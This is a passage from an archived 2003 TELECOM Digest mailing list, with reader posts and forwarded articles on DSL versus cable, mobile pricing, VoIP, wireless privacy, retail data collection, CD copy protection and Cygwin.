info. This ICS has system version >> SP: 30JBM03 NAT. In the past we've tried to put a Startalk on but had >> problems that was stated to be System Version issues.. Is this ture >> or is this system capable of supporting a Startalk? > I don't believe the Startalk will work properly with MICS 2.0 and later. > Dave Phelps > Phone Masters Ltd. > deadspam=tippenring ------------------------------ From: pcdj@cox.net (C.) Subject: Re: DSL vs Cable Date: 20 Jan 2003 12:20:22 -0800 Organization: http://groups.google.com/ I will recommend Cable Internet for people who what ease of installation and support. With cable you basically just plug it in and then go. DSL on the other hand requires an inline filter for every phone, fax, modem, etc. that is using the phone line and most of the time requires some spyware dial up software to be installed in your pc for PPPoE authentication. I have heard that the speed is a little faster if you are closer to the Telco central office or remote office. But I'm sticking to cable mostly because I can't stand my local phone company (Qwest) ------------------------------ Date: 20 Jan 2003 02:14:50 -0500 From: John R Levine Subject: Re: Mobile Operators' Regulatory Time Bomb I was interested to read Leonard Waverman's piece in the January 13th Wall Street Journal, commenting on planned changes to the British mobile phone market, and primarily crediting ""calling party pays"" for the success of European mobile telephony. It seems to me that this is much too simplistic an analysis, and doesn't consider the important benefits of the North American system where the subscriber pays any surcharge. While Europeans are accustomed to an ""everyone pays"" system where the caller pays by the minute for every call, in North America most local calls are either free or untimed. As a result, Americans have no patience for surcharged phone numbers (other than porn, psychics, and other marginal applications). The few experiments with caller pays cellular have been failures, as has been the 500 pseudo-area code, which was designed for services that would have a small surcharge to the caller. It also means that landline service is a much stronger competitor to cellular in North America than in Europe, since the price is so low, both for voice calls and for data using flat rate dialup or DSL Internet service. It's an important reason for the failure of text messaging in the U.S., since one of the reasons that it's so popular in Europe is that it's cheaper than voice calls. It's true that the uptake of mobile service has been slower in the U.S. than in Europe, and that Europe's GSM system is more successful than American AMPS. Beyond the fact that we had less pent-up demand since we already had more landlines in place, the U.S. divided the country into hundreds of little mobile service areas and auctioned each one off separately, which meant that until a few years ago, roaming outside your local area basically didn't work, and roaming text messages still are too flaky to depend on. Compare the experience in the U.S. with that of Canada, where they awarded a national franchise to Rogers, and regional franchises to the small set of incumbent telcos who were already used to working with each other, and the effect of U.S. fragmentation is clear. The worldwide success of GSM is easily attributable to the fact that GSM was designed later than and is technically superior to AMPS. AMPS couldn't support any sort of data traffic without expensive retrofits, and now suffers from two incompatible retrofit systems (TDMA and CDMA) that don't interoperate. But what of the benefits of the North American system? I think one can make a strong case that it was bad public policy in Europe to design a charging scheme and numbering plan that ensures that mobile service will always cost more than landline. The combination of subscriber pays and our integrated phone numbering means that cellular and landline compete head-to-head, both in price and service. In recent years mobile rates have plunged and increasingly approach landline-style pricing; for example, I get 250 daytime minutes and 3000 night/weekend minutes for $30/month, of which I rarely use as much as 200, so my service might as well be flat rate. As a result we're now seeing mobile service replace landline service, particularly for students and others who move frequently. If the FCC does its job and makes carriers implement local number portability between mobile and landline, I'm sure we'll see vast numbers of people switch to mobile once they can do so without losing the phone numbers they already have, something that would never be possible if calls to mobiles weren't interchangable with calls to landlines. Europeans certainly sign up for lots of new mobile service, with an oft-used example being that everyone in rural Scandinavia uses mobile phones, but that strikes me as much as an indictment of the failure to provide affordable landline service as a success of mobile. I'm also surprised that as an economist he's not more troubled by the ridiculous rates that European carriers charge for inbound calls, due to the inability of callers to negotiate prices. It costs me under 6 cents/minute to call a British landline, about the same as to call a U.S. landline or mobile, but 40 cents to call a British mobile. That means if someone in the UK gives me a mobile number to call, I'm inclined to tell them that if they want to hear from me, give me a real phone number, the same as if a U.S. correspondent gave me a 500 or 976 number. I doubt I'm the only person who feels this way, and arranging for subscribers to pay the rates for the service they choose, as they do here, is the straightforward way to introduce competitive pricing. Finally, the argument that high inbound rates are beneficial because they permit carriers to hand out lots of subsidised phones is unpersuasive. For one thing, subsidies don't depend on inbound charges. My carrier currently offers a Motorola C331t phone for free or a Nokia 3360 for $30 if you sign up for a year or two of service, which is typical of the subscriber-pays deals here. And if the goal is to encourage providers to hand out subsidized phones, why stop at the halfway point of sticking landline users with a charge only on inbound calls? Charge the same inflated rates to recipients of outbound calls, thereby relieving mobile users of paying anything at all, and every man, woman, child, dog, cat, and parakeet in the country will soon have a phone. But I hope not. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: johnl@iecc.com (John R. Levine) Subject: Re: Vonage Telephone via Internet Date: 20 Jan 2003 02:29:46 -0500 Organization: I.E.C.C., Trumansburg NY USA > I'd be interested if anyone is already using this service, or has > any experience of it, especially from the point of view of using it > from overseas. A friend of mine (Bob Frankston, one of the great nerds of all time) is using it and thinks it's great. They provide a Cisco phone to Ethernet adapter into which you plug a phone. If you have a phone number in one of the areas where they provide service you can port that number to their system, otherwise they'll issue you a new number. They don't support 911 and the phone stops working if the power fails, so it's not a good choice for your only telephone. Their terms of service say that it's NOT supported outside the U.S. and although they'll let you sign up, it's completely at your own risk. There's no technical reason it shouldn't work from the UK, although I'd think the transatlantic link would add significant extra delay, making calls sound lousy. Regular phone calls between the US and UK are now so cheap that you'd have to spend over 8 hours a month on the phone to make their $26/mo service cheaper than just calling with one of the widely available 3p/min plans. Unless you need a US phone number, I don't see the point. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: hes@hes01.unity.ncsu.edu (Henry E Schaffer) Subject: Re: How to Detect an 'Invasive' MAC Date: Mon, 20 Jan 2003 14:57:58 UTC Organization: North Carolina State University In article , Linc Madison wrote: > I don't know of any stronger measures you can take; if someone just > passively eavesdrops on your packets, it's nearly impossible to detect, >let alone prevent. I was told by an expert (who is at http://alan.clegg.com/802/ ) that some wireless access points have a way to set their output power level, and that it is a good idea to set it to the minimum which will cover your premises. This decreases the chance that someone outside can eavesdrop. henry schaffer hes@ncsu.edu ------------------------------ From: hes@hes01.unity.ncsu.edu (Henry E Schaffer) Subject: Re: The Digest - Suggestions Date: Mon, 20 Jan 2003 15:39:05 UTC Organization: North Carolina State University In article , J Kelly wrote: > Yes, Monty posts a lot of stuff, of which maybe 10% is of interest to > me. That 10% makes it worth having, I don't have to download the > bodies for the posts that don't appear interesting from the subject > line. My news client display's the poster's name as well as the subject. So I can easily identify his posts -- and read the ones that might be interesting. It doesn't bother me to have the others (the ones I don't read) appear. henry schaffer hes@ncsu.edu ------------------------------ Date: Mon, 20 Jan 2003 11:49:11 -0600 From: temp6@thewolfden.org Subject: Re: DSL vs Cable Greg T. Knopf wrote about Re: DSL vs Cable: > ...On a cable system you do indeed share bandwidth with those in your > locale. The cable/broadband access is a shared broadcast medium. So in > theory you can have your downloads, etc., throttled by whatever anyone > else on the same system is doing. I've never seen it but my experience is > limited. Yes, but you may be sharing a lot more bandwidth than you think. I was speaking with a 3rd level technician a few months ago who noted that in Houston on a Time Warner cable system, even if everyone on the system ""clicked on a link"" at the same time, they'd only use something like less than 40% of the bandwidth they had on the system, and that he had spent several days the previous month setting at various nodes around town measuring throughout vs usage, so it sounds like they actually care here in Houston. Checking bandwidth to a Time Warner site (which would only measure speed along the shared neighborhood lines) has always shown me to be within a few percent of the stated speed (1.5 Mb/s). > [TELECOM Digest Editor's Note: Although I have DSL here in Independence I > am always 'on line'. I never turn it off. However I have noticed that > every day or two, sbcglobal.net does play around with the IP addresses. > Sometimes I get dumped off line for no apparent reason. But when it is up > and running (most of the time) is is pretty fast. I am only five or six > blocks away from Edison CO (620-330/331/332 which serves Independence) so > I get fairly fast service. The only people in town who cannot get DSL (if > they want it) are the folks on the far north side of town in the area > called 'Country Club'. Everyone here in town is served by 620-331, but > they are just a wee bit too far north to be within the range of DSL. > (620-330 is Montgomery County offices and a few cell phones such as mine; > 620-332 is City of Independence and a few cell phones and a couple other > *large* companies in the town.) PAT] Here in Houston, it seems most of the outlying areas cannot have DSL. At least, everyone I know South and Southwest of town say they only have broadband internet access via the cable modem service in their neighborhood. Up until a few months ago, I could not even get above 22k with a modem connection because of the poor phone line quality -- and I'm in a brand new neighborhood that was just wired less than two years ago. My cable modem connection is up [i.e. I can see a number of key internet sites] 99.3% of the time (and I run software that constantly monitors it, so I can note this with confidence). [TELECOM Digest Editor's Note: It is interesting how different things can be, depending on where you are at. Here, if your phone is 620-331 (which is everyone) you can have DSL except for the far north edge of town (Country Club area). Of course this is a smaller town (two miles long by a mile and a half wide). Some people choose to get their DSL from the local ISP's 'competing' phone company, but thats really a sort of joke. The ISP brokers it in bulk from the 'real' telco and the rich people out around the Country Club area still cannot get it even through the 'competitor', since the competitor uses Bell wires and cables, etc and is merely co-located with Bell over at 6th and Maple Streets. As far as cable modem is concerned, it does not exist. There is none. We had Time Warner here from the beginning of cable TV service and if anyone asked the lady in the Time Warner office downtown about cable modem service she would say 'well, maybe someday'. About six months ago she started saying 'it will be here next year'. Then as of January 1, the local Time Warner office became a new company 'Cable One' (same lady sitting in the office; her husband still drives the truck around town and maintains the cable wires but in a new truck instead of the old Time Warner one) and on cable TV they are now giving advertisements saying 'cable modem will start sometime in the first quarter of this year.' I do not know whether I will switch to it or not ... I know if I try it, I will have it turned on and make sure it works right *before* I turn off the sbcglobal.net DSL line. Maybe I will keep them both for awhile and see which one I like best. PAT] ------------------------------ From: Roy McCammon Subject: Re: New Billboards Sample Radios as Cars Go By, Then Adjust Date: Mon, 20 Jan 2003 12:09:57 -0600 Organization: 3M Dr. Joel M. Hoffman wrote: >>> Just to be clear, is the claim here that the sign can detect what >>> radio station I'm listening to? It cannot. >> Don't be too sure. Unless they are well shielded radio receivers emit >> a little bit of local oscillator signal, which can be picked up and >> used to determine the frequency you are listening to. > How strong is this ""oscillator signal""? Much stronger than the radio signals to which the radios are tuned. > Strong enough to be detected outside the car? Yes, easily. > To be detected from the side of the ride? To be > isolated among a hundred cars passing by at 60 miles an hour? It is only necessary to guess which station has the most listeners at a given moment. Absolute accuracy is not important. You really only need to determine the band with the most power. Thank you for reading and or replying. If you are one in a million, there are 6000 people just like you. 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End of TELECOM Digest V22 #246 ****************************** >From editor@telecom-digest.org Mon Jan 20 21:02:10 2003 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id h0L22Aq09483; Mon, 20 Jan 2003 21:02:10 -0500 (EST) Date: Mon, 20 Jan 2003 21:02:10 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200301210202.h0L22Aq09483@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #247 TELECOM Digest Mon, 20 Jan 2003 21:02:00 EST Volume 22 : Issue 247 Inside This Issue: Editor: Patrick A. Townson Novelist John le Carre: ""The U.S. has gone mad!"" (Monty Solomon) Now is the Time to Get Protected (Protect) Privacy: Going, Going ... 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Mon, 20 Jan 2003 17:16:24 -0500 From: Monty Solomon Subject: Novelist John le Carre: ""The U.S. has gone mad!"" http://www.politechbot.com/p-04331.html Date: Mon, 20 Jan 2003 00:55:04 -0500 From: Declan McCullagh Subject: FC: Novelist John le Carre: ""The U.S. has gone mad!"" le Carre's bio: http://www.johnlecarre.com/newsite/index.htm Date: Mon, 20 Jan 2003 14:22:12 +1100 From: Nathan Cochrane Organization: The Age newspaper To: declan@well.com Subject: Novelist John le Carre slams Bush ""Junta"" in Iraq The United States of America Has Gone Mad John le Carre America has entered one of its periods of historical madness, but this is the worst I can remember: worse than McCarthyism, worse than the Bay of Pigs and in the long term potentially more disastrous than the Vietnam War. The reaction to 9/11 is beyond anything Osama bin Laden could have hoped for in his nastiest dreams. As in McCarthy times, the freedoms that have made America the envy of the world are being systematically eroded. The combination of compliant US media and vested corporate interests is once more ensuring that a debate that should be ringing out in every town square is confined to the loftier columns of the East Coast press. The imminent war was planned years before bin Laden struck, but it was he who made it possible. Without bin Laden, the Bush junta would still be trying to explain such tricky matters as how it came to be elected in the first place; Enron; its shameless favouring of the already-too- rich; its reckless disregard for the world's poor, the ecology and a raft of unilaterally abrogated international treaties. They might also have to be telling us why they support Israel in its continuing disregard for UN resolutions. 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If you havent already heard, there are a staggering 300,000 suspects on the list, So far, more than 1300 arrests have been made including a judge, magistrates, senior public school teachers and 50 police officers. http://soz.web1000.com/protect.htm ------------------------------ Date: Mon, 20 Jan 2003 17:25:04 -0500 From: Monty Solomon Subject: Privacy: Going, Going ... http://weblog.siliconvalley.com/column/dangillmor/archives/000736.shtml#000736 posted by Dan Gillmor 09:31 PM Privacy invaders are like termites. They undermine, eating away at the structure of your personal life, until you wake up one day and realize that the foundation is gone. The American Civil Liberties Union, battling harder than ever for your basic rights against increasingly nosy corporate and government snoops, has issued a report that should be raising alarms everywhere. The bottom line is evident in the title: ""Bigger Monster, Weaker Chains: The Growth of an American Surveillance Society."" We're inundated with examples of this or that invasion of privacy, the ACLU says. The current villain is the Pentagon's ""Total Information Awareness"" project, which would scoop up all kinds of public and private personal data to look for hints of bad activity including terrorism, according to its Big-Brotherish planners. The individual threats are bad enough, the report says, but consider the bigger picture. ""Too many people still do not understand the danger, do not grasp just how radical an increase in surveillance by both the government and the private sector is becoming possible, or do not see that the danger stems not just from a single government program, but from a number of parallel developments in the worlds of technology, law and politics."" The best way to slow this erosion is to change laws, the ACLU says. That means you have to be politically active if you care about protecting what's left of your privacy, much less getting back any of what you've already lost. It's getting late. http://www.aclu.org/Privacy/Privacylist.cfm?c=39 ------------------------------ From: Joey Lindstrom Date: Mon, 20 Jan 2003 11:26:53 -0700 Subject: Rat Shack and Future Slop Reply-To: joey@telussucks.info On Mon, 20 Jan 2003 03:41:00 EST, editor@telecom-digest.org wrote: > [TELECOM Digest Editor's Note: Let's hope the new policy is national > in scope and applies to dealers and agency stores alike. At our local > Radio Shack agency store here in Independence it was not much of an > issue since the two guys who manage and own the store know almost > everyone in town, and everyone knows them. But in the Chicago area for > many years, this was quite a bone of contention. To buy a set of > batteries for cash, they wanted to know names, addresses, etc. PAT] My experience with Rat Shack here in Calgary isn't quite as bad, but still annoying. Generally, buying some batteries for cash is an in-the-door, out-the-door proposition. Buying anything more than that -- for example, I recently bought a laser pointer (as a toy for my cats -- they *LOVE* chasing that red dot!) -- and you get the request for all that personal info. I simply answer ""I'm sorry, I don't give that out"" and the response (from Radio Shack employees) has always been ""that's quite alright"" and the transaction proceeds without it. Getting asked is annoying, but at least they don't make you feel bad about it. Not so at Future Shop, a national electronics chain which is now part of the (if I recall correctly) US ""Best Buy"" empire. They, too, want your name and address and phone number on pretty much any non-trivial transaction. Most of the time they're ok with it when I tell 'em I don't give it out. Some ask me (just out of curiosity, while the transaction is proceeding) why, and I tell 'em that every time I give it out, ESPECIALLY to Future Shop, I start getting a lot more of addressed-directly-to-me junk mail. Most feign surprise: apparently, the company tells the sales droids that this information is NOT used for marketing, but I'm here to tell you that it is. I mean, what *OTHER* legitimate reason is there for them to compile such a dossier on their customers? Some Future Shop employees, though, get downright surly about it, trying to make me feel somehow guilty about not allowing them to do their job properly. This isn't the end of it, though. Most of the time, if your purchase is medium to large (for example, a new DVD player), they start pushing the extended warranty on you. Basically this involves a sales pitch telling you just what a complete pile of crap the product you're buying is, and that you're absolutely nuts not to buy some extra protection ($40 on a $240 DVD player). Generally speaking, if a product fails within the normal warranty but after 15 days from sale, you're on your own to get warranty support from the manufacturer. With extended warranty, you bring the product back to Future Shop (in the case of large items, like a widescreen projection TV, they'll come to your house) and they'll repair or replace it. Here's the rub: you CANNOT have their extended warranty protection without giving up your name, address, and phone number. Now, you can get away with a fake address and phone number (but the address better be right if you expect on-site service), but the name has to match the name on the credit card you're paying with. Otherwise, no sale. Fun. Despite it all, I keep going back because generally speaking they've got pretty good pricing -- but I've reached the point that their price has to be SIGNIFICANTLY better than other retailers before I'll buy from them. On one visit, I was buying a DSL router and a hunk of ethernet cable. The sales droid (who works on a commission basis) kept pushing and pushing for my personal information, and I kept refusing, less and less politely each time. Finally I said, ""look, I'm not giving you that information, and if it's a problem, I'll take my business elsewhere."" That made him back off. That is, until it came time to start pushing the extended warranty on me. I was already annoyed with the guy, so when he started with the very-familiar push, I said firmly, ""no, I don't want the extended warranty."" That didn't stop him. Now he wants to explain just why he feels I'm making a mistake. I interrupted him again: ""I'm quite familiar with the extended warranty plan, and I'm not interested. You're also very close to talking yourself out of a sale."" You'd think that would do it. Nope. He said, ""why wouldn't you want the peace of mind that the extended warranty brings?"" At that point, I put the equipment I was trying to purchase gently onto the floor, turned around, and walked directly out the door. I found what I was looking for over at Staples for only $2 more and no intrusive questioning. I've since been back a couple of times, once to buy about $500 worth of DSL modems. He hovered, waiting to pounce on me, but I waited until he was momentarily distracted by another sales droid. I swooped in, grabbed the modems, and walked directly to the checkout. Halfway there he caught up with me and asked if I wanted any help. ""Not from you, buddy"" was my reply. He walked away -- FINALLY getting the message. Now, having outlined some bad experiences, let me say something good about some internet retailers. Specifically, Future Shop's website (futureshop.ca), Amazon.ca (also amazon.com and amazon.co.uk), and chapters.ca. I've purchased from all of these e-tailers, and as part of the transaction they do ask for your email address, shipping address, etc. I've been dealing with them for about three or fourn years now. When I give them my email address, I give them a special, only-for-e-tailers email address (a different one for each e-tailer) - the idea being, if they sell access to their database, I should find out about it pretty quickly. And in those three or four years, I've had exactly zero spam in those mailboxes. I get the usual ""we have now shipped your product"" email as well as an electronic receipt, but NOTHING else -- at least, from these particular merchants. Kudos to them! (Also, no addressed postal spam either -- since moving into my current residence in 1998 I've been EXTREMELY careful about giving this out, and I just don't get ANY). -- Joey Lindstrom -- Telus Sucks http://www.telussucks.info ------------------------------ From: fplandae@hotmail.com (Francisco Perez-Landaeta) Subject: Cisco ATA and Private IP Address Date: 20 Jan 2003 13:42:11 -0800 Organization: http://groups.google.com/ Hi, I would like to know if the CISCO ATA 186 will work fine behind a Linksys Firewall on the DMZ zone. The ATA 186 will be exposed to the Internet, but I will assign a private IP address. My Internet Connection is ADSL from Bellsouth. I Have been told that It would not work because with H323 but will with SIP. Is this true ? Can someone clarify this for me. Thanks, Francisco ------------------------------ Date: Mon, 20 Jan 2003 16:46:13 -0500 From: Monty Solomon Subject: Microsoft Releases New Windows Media Data Session Toolkit Toolkit Is Adopted by MPO, World's Largest Independent CD Manufacturer; Major Record Labels Universal Music Group and EMI Recorded Music; And SunnComm, a Leader in Digital Content Security CANNES, France, Jan. 20 /PRNewswire-FirstCall/ -- Microsoft Corp. (NASDAQ:MSFT) today announced the availability of the Windows Media(R) Data Session Toolkit, a new component of Windows Media 9 Series that enables media companies to securely create and deliver content via a second session in various formats including CDs and DVDs. The toolkit gives media and entertainment companies the capability to protect their content easily, cost-effectively and efficiently, and at the same time create the PC experience that consumers enjoy, including the freedom and flexibility to enjoy their music when and how they want. http://finance.lycos.com/home/news/story.asp?story=31002689 ------------------------------ Date: Mon, 20 Jan 2003 16:50:32 -0500 From: Monty Solomon Subject: Major Labels Bring Back Net Music Giveaway By Bernhard Warner, European Internet Correspondent CANNES, France, Jan 20 (Reuters) - Major music and technology companies announced on Monday they will bring back a promotion they tried six months ago involving the give-away of free music to attract customers to their nascent Internet music businesses. - http://finance.lycos.com/home/news/story.asp?story=31008966 ------------------------------ Date: Mon, 20 Jan 2003 16:47:37 -0500 From: Monty Solomon Subject: T-Mobile and Lucent Technologies to Jointly Launch 3G UMTS Pilot Companies to Demonstrate the Value of 3G Secure Mobile Data Services for Enterprise Customers BONN, Germany, Jan. 20 /PRNewswire-FirstCall/ -- Lucent Technologies (NYSE:LU) and T-Mobile today launched a joint pilot project to evaluate secure high-speed data services using third-generation (3G) Universal Mobile Telecommunications System (UMTS) technology. The pilot, which will involve enterprises in the Nuremberg region, will demonstrate how business customers can benefit from secure, high-speed data mobile services and integrated end- to-end enterprise applications. This pilot network will leverage experience and expertise gained from the development of the Lucent UMTS network at its facility in Nuremberg. Under the agreement, Lucent will supply T-Mobile with its Secure Mobile Data Solutions for Enterprises (SMDSe) offer, a pre-integrated package of hardware and software designed to enable business customers to use their laptop PCs or PDAs to access -- from any location -- all the applications they normally use with the same level of security and performance they typically experience in their office. A key component of this end-to-end solution is the 3GlobeTrotter(TM) UMTS wireless modem PCMCIA card -- jointly developed by Lucent and Option -- which supports high-speed data connections on laptops, PDAs and other mobile devices. Late last year, Lucent and Option completed the first data calls using the 3GlobeTrotter cards at Lucent's labs in Nuremberg, where substantial development work on the cards has been done. Lucent's SMDSe offer also incorporates software tools that enable an enterprise user to quickly and easily activate high-speed mobile data services, and solutions to support seamless roaming from the 3G UMTS network to wireless local area networks. http://finance.lycos.com/home/news/story.asp?story=31003279 ------------------------------ Date: Mon, 20 Jan 2003 16:46:23 -0500 From: Monty Solomon Subject: SunnComm Announces Use of Microsoft's Windows Media Data Session SunnComm Announces Use of Microsoft's Windows Media Data Session Toolkit with MediaMax CD-3 To Create 'Second Session' for Upcoming Ike & Tina Turner Historic Compilation CD - Jan 20, 2003 03:39 AM (BusinessWire) PHOENIX--(BUSINESS WIRE)--Jan. 20, 2003--SunnComm Technologies, Inc. (OTC:STEH) announced today that its MediaMax(TM) CD-3(TM) technology has been incorporated to enhance and protect the content within Ike and Tina Turner's newly discovered historic compilation CD entitled ""The Early Sessions."" The content incorporated on the CD's original tracks (called the ""Redbook"" session), will be released by Sterling Entertainment, a division of UAV, and protected by SunnComm. The audio CD will also feature a secure multimedia experience referred to as a ""second session"" for playback on the PC. This ""second session"" is built using the Microsoft Windows Media Data Session Toolkit, a new component of Windows Media 9 Series that enables media companies to securely create and deliver secure high-quality content via a ""second session"" in various formats including CDs and DVDs for playback on the PC. The toolkit gives media and entertainment companies the capability to protect their content easily, cost-effectively and efficiently, and at the same time create the PC experience that consumers enjoy, including the freedom and flexibility to enjoy their music when and how they want. The album, ""The Early Sessions"" is scheduled to be released to the public in March 2003 by Sterling Entertainment, a division of UAV and will utilize SunnComm's MediaMax technology under a licensing deal that will generate a per-unit royalty payment to SunnComm. The addition of SunnComm and Microsoft technologies on the album's ""second session"" allows buyers of the CD to make licensed copies of the music on their PC for their own personal use. Additionally, using SunnComm's PromoPlay(TM) functionality, consumers can send selected music tracks to their friends to enjoy for a limited number of plays or a limited number of days of play. Microsoft Corp. (NASDAQ:MSFT) will include a demo of this solution built using the Windows Media Data Session Toolkit while at the Midem conference in Cannes, France. Midem is indisputably the world's leading international music market conference. Midem is online at http://www.midem.com. - http://finance.lycos.com/home/news/story.asp?story=31002923 ------------------------------ Date: Mon, 20 Jan 2003 16:57:19 -0500 From: Monty Solomon Subject: PlanetReplay Webmaster Spooked by Deposition, Deletes Info http://www.politechbot.com/p-04333.html Date: Mon, 20 Jan 2003 00:57:37 -0500 From: Declan McCullagh Subject: FC: PlanetReplay webmaster spooked by deposition, deletes info Here's some background on the SonicBLUE lawsuit: http://news.com.com/2100-1040-981128.html http://www.politechbot.com/cgi-bin/politech.cgi?name=sonicblue From: ""Paul \\""Evil Genius\\"" Music"" To: ""DeClan"" Subject: On the advice of my lawyer, I have taken down the sharing side of the Planet Replay web site Date: Sat, 18 Jan 2003 21:57:39 -0600 http://www.planetreplay.com/sharing_011603.php Sharing currently suspended I gave my deposition testimony in the Entertainment Companies' lawsuit against SonicBLUE on January 14th. Based on the questions they asked me at my deposition, the fact that I do not want my users to be sued or their privacy put at risk, and that I myself do not want to be sued, the portions of PlanetReplay.com relating to sharing shows have been taken down until further notice. As many of you may know if you have been reading this web site over the past few months, I was subpoenaed to give documents and a deposition in the lawsuit between the Entertainment Companies and SonicBLUE. That deposition happened on January 14th, 2003. Based on the questions I was asked by the lawyer for the Entertainment Companies, it became clear to me that the Plaintiffs consider my web site, Planet Replay, to be aiding in the violation of their copyrights. More importantly to me, it seems that the Plaintiffs were also interested in the users of this site and the data about show sharing that this site provides. I think it is also obvious to anyone paying attention to current events that the Plaintiffs have little reluctance to sue anyone who they consider to be violating their copyrights or helping others to violate their copyrights (such as SonicBLUE, KaZaa, Napster, etc. etc.) On the advice of my lawyer, I have taken down the sharing side of the Planet Replay web site and one of the forums. Given that I do not want to put the privacy of Planet Replay users at risk, and that I myself do not want to be sued, I made the hard decision that it is in the best interests of the users of this site, as well as my own, that the sharing portions of this web site be taken down. Hopefully, if the lawsuit against SonicBLUE goes to trial and the court supports the legality of show sharing, the site will return. The rest of Planet Replay, the FAQs, Forums, and Account Management area (including account removal) will still remain active during these times. Thank you all for your support and your interest. If you have any questions about why I have taken down the site, please send an email to press@planetreplay.com and either I or my lawyer will get back to you. -Chad Little Owner, Planet Replay. ------------------------------------------------------------------------- POLITECH -- Declan McCullagh's politics and technology mailing list You may redistribute this message freely if you include this notice. To subscribe to Politech: http://www.politechbot.com/info/subscribe.html This message is archived at http://www.politechbot.com/ Declan McCullagh's photographs are at http://www.mccullagh.org/ ------------------------------------------------------------------------- Like Politech? Make a donation here: http://www.politechbot.com/donate/ Recent CNET News.com articles: http://news.search.com/search?q=declan ------------------------------------------------------------------------- ------------------------------ Date: Mon, 20 Jan 2003 17:12:14 -0500 From: Monty Solomon Subject: Can XM Put Radio Back Together Again? Heard avril Lavigne's 'Complicated' just a wee bit too often? You can thank Lee Abrams, the man who shackled FM radio to the tyranny of mass market research. The 'Moses of programming,' they call him. By Frank Ahrens Sunday, January 19, 2003; Page W12 Why does radio sound the way it does today? Why does it sound like it's been prepped, packaged and served up in easy-to-digest bites, like tiny bits of Spam stuck on toothpicks? We're talking about music radio, so we're talking about FM. Staticky AM remains the province of news, sports, talk and such utility-style information. Silken FM, as it has been for the past 35 years, is the home of music, thanks to its static-free stereo sound. Owing to a growing sophistication in audience research, light-speed consolidation of radio ownership and the attendant rise in value of FM stations, the commercial FM dial has been essentially reduced to six musical formats: Pop/rock, hip-hop, country, classical, Spanish-language and variations on the theme of ""adult contemporary,"" a sort of light pop or R&B. Research has shown radio owners that these are the moneymaking formats, and this is where they've flocked. Swept off the dial are niche formats, such as blues, bluegrass, easy listening and jazz, except for Kenny G-style ""lite jazz,"" which falls neatly in the adult contemporary category. Today's broadcasters will publicly tout what they call the diversity of the radio dial, but they know better. ""It's not like the old days,"" they lament, though never in public. http://www.washingtonpost.com/wp-dyn/articles/A57791-2003Jan15.html ------------------------------ From: mayur.patel@seminole.com (M Patel) Subject: Intertel Axxess Installation Manuals Date: 20 Jan 2003 14:49:22 -0800 Organization: http://groups.google.com/ We are trying to find an analog port off of the Axxess System for use on a polycomm conference phone. Does anyone know a site to get the manual or which pair they maybe off the system. Some direction would be appreciated. Thanks, MP ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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Townson Re: Tail (Clarence Dold) Modernizing the ""555"" Exchange (Gordon S. Hlavenka) Re: The Digest - Suggestions (Ross Oliver) Re: AT&T Broadband Raises Prices For Cablemodem Service (Herb Stein) Sprint Network Failure (Pete Romfh) Re: Rat Shack and Future Slop (Paul Coxwell) Remember Locksmith for the Apple ][ and //e (R Gilbert) PPPoE (Joey Lindstrom) Re: DSL vs Cable (Jack Adams) 11-Digit Dialing Comes to NYC (Allston Parking Refugee) Re: Mobile Operators' Regulatory Time Bomb (Mike Hartley) Looking For Satellite TV, Internet, Phone Provider (*selah*) Wireless For The Well Off (Eric Friedebach) Digest Got Spammed Again! (David B. Horvath, CCP) 666 (Neal McLain) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: dold@31.usenet.us.com Subject: Re: Tail Date: Tue, 21 Jan 2003 01:55:07 UTC Organization: a2i network Walter Dnes wrote: > It's actually a ""posix"" utility. I.e. Unix (TM of owner-du-jour) > and Unix-like OS's, including linux, HP-UX, IBM-AIX, etc, etc. Go to > http://www.cygwin.com and get Cygwin. It's a free bash-emulator for > Windows. tail, cut, paste, grep, the whole 9 yards. *NOTE* the > default install does *NOT* put in all the utils. You want to force > the full install. I wouldn't force the full install. That's actually advised against in the online documents. The cygwin download is not small, but I use it every day on Windows ME, NT, 2k, and XP. I never use ""cmd"" or ""command"". I am in a bash shell if I need to do command line stuff, even on remotely mapped systems ""cd '\\\\othersystem\\c\\foo\\file'"". Wonderful stuff for someone accustomed to unix utilities. Do the default download, using rcn.net as the mirror site. Then go back and expand each group, to see what you might have missed. Tail might be in the default set, or the ""text utilities"" set. I use the free XWin as an xterminal to Unix boxes in the lab. > Because it's an emulation layer, I find things slower going through It's not an emulator. These are Windows-compiled binaries. http://cygwin.com Clarence A Dold - dold@email.rahul.net - Hidden Valley (Lake County) CA. ------------------------------ Date: Mon, 20 Jan 2003 22:47:15 -0600 From: Gordon S. Hlavenka Reply-To: nospam@crashelex.com Organization: Crash Electronics, Inc. Subject: Modernizing the ""555"" Exchange It had to happen sooner or later. On last week's episode of ""John Doe"" a murder suspect communicates mostly by emailed voice files. He's got a girlfriend (remember, this is fiction :-). John asks him for her IP address (!) and he replies, ""127.21.01.43"". John says, ""Hmmm ... local web sex 